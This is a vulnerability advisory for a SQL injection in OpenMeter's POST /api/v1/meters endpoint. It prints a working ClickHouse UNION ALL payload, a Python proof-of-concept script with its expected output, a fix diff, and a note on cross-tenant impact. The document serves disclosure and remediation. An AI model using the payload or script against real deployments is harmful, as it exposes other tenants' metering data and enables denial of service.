Summary An authenticated tenant can inject arbitrary SQL through the "valueProperty" or "groupBy" fields of "POST /api/v1/meters". The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data. Details "openmeter/streaming/clickhouse/utils_query.go:15" builds a ClickHouse "SELECT" by interpolating user input with "fmt.Sprintf": sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) "sqlbuilder.Escape()" (go-sqlbuilder v1.40.2) only replaces "$" → "$$" to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. "sb.Build()" always returns an empty "args" slice — the query is never parameterized. The payload must be prefixed with a valid JSONPath expression (e.g. "$.foo") because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which "ValidateJSONPath" silently treats as "invalid JSONPath" and returns early — before the injected branch can execute. Working payload: $.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one -- Generated SQL: SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --' Fix — replace "fmt.Sprintf" string interpolation with "sb.Var()", which appends the value to the builder's args list and emits a "?" placeholder: -sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) +sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath))) PoC "poc.py": import json, time, uuid from urllib.request import Request, urlopen SLEEP = 3 API = "http://localhost:48888" PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --" def post_meter(value_property): body = json.dumps({ "slug": f"poc_{uuid.uuid4().hex[:8]}", "eventType": "x", "aggregation": "SUM", "valueProperty": value_property, }).encode() req = Request(f"{API}/api/v1/meters", data=body, headers={"Content-Type": "application/json"}, method="POST") t0 = time.monotonic() with urlopen(req, timeout=SLEEP + 10) as r: return r.status, time.monotonic() - t0 _, baseline = post_meter("$.tokens") status, elapsed = post_meter(PAYLOAD) print(f"baseline : {baseline:.3f}s") print(f"injected : {elapsed:.3f}s (HTTP {status})") print(f"result : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}") docker compose up -d until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done python3 poc.py Expected output: baseline : 0.036s injected : 3.031s (HTTP 200) result : sleep(3) CONFIRMED Impact SQL injection via "POST /api/v1/meters" ("valueProperty" or "groupBy"). Requires a valid tenant API key; no other preconditions. The shared "openmeter.om_events" table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible. Attribution This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research. For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research